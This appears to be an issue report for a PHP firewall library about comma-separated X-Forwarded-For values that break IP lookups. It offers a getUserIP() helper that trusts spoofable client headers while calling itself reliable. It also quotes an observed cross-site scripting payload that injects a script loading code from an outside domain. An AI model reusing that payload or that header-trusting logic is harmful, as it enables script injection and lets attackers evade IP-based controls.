firewall
firewall copied to clipboard
Comma-separated multiple IP address cause error "gethostbyaddr(): Address is not a valid IPv4 or IPv6 address"
Apparently I'm getting a lot of these errors because the code (Firewall.php:270) is relying on HTTP_X_FORWARDED_FOR which can contain multiple addresses separated by commas.
See https://www.jamescrowley.net/2007/06/19/gotcha-http-x-forwarded-for-returns-multiple-ip-addresses/
Here's code I use to reliably get the actual user IP:
function getUserIP()
{
if (getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
if ($first_ip_in_list = stristr($ip, ',', true))
$ip = $first_ip_in_list;
}
elseif (getenv('HTTP_X_REAL_IP')) {
$ip = getenv('HTTP_X_REAL_IP');
}
else {
$ip = $_SERVER['REMOTE_ADDR'] ?? '127.0.0.1';
}
return $ip;
}
Related to this is another issue where malformed HTTP_X_FORWARDED_FOR is being used as an attack vector—I recently got this error with the following value:
\"><script type=text/javascript src='https://css.digestcolect.com/stm?&tp=3'></script>